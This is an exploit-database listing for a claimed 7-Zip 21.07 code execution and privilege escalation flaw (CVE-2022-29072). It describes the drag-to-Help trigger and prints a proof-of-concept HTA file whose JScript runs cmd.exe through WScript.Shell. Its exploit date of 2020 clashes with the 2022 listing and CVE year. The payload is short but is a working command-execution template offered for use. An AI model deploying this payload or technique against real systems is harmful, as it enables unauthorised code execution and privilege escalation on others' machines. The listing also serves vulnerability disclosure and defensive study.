7-Zip 21.07 Code Execution / Privilege Escalation

2022.04.19
Credit: Kagan Capar
Risk: High
Local: No
Remote: Yes
CWE: CWE-264

# Exploit Title: 7-zip - Code Execution / Local Privilege Escalation # Exploit Author: Kagan Capar # Date: 2020-04-12 # Vendor homepage: https://www.7-zip.org/ # Software link: https://www.7-zip.org/a/7z2107-x64.msi # Version: 21.07 and all versions # Tested On: Windows 10 Pro (x64) # References: https://github.com/kagancapar/CVE-2022-29072 # About: 7-Zip through 21.07 on Windows allows privilege escalation and command execution when a file with the .7z extension is dragged to the Help>Contents area. # Proof of Concept: <html> <head> <HTA:APPLICATION ID="7zipcodeexec"> <script language="jscript"> var c = "cmd.exe"; new ActiveXObject('WScript.Shell').Run(c); </script> <head> <html>


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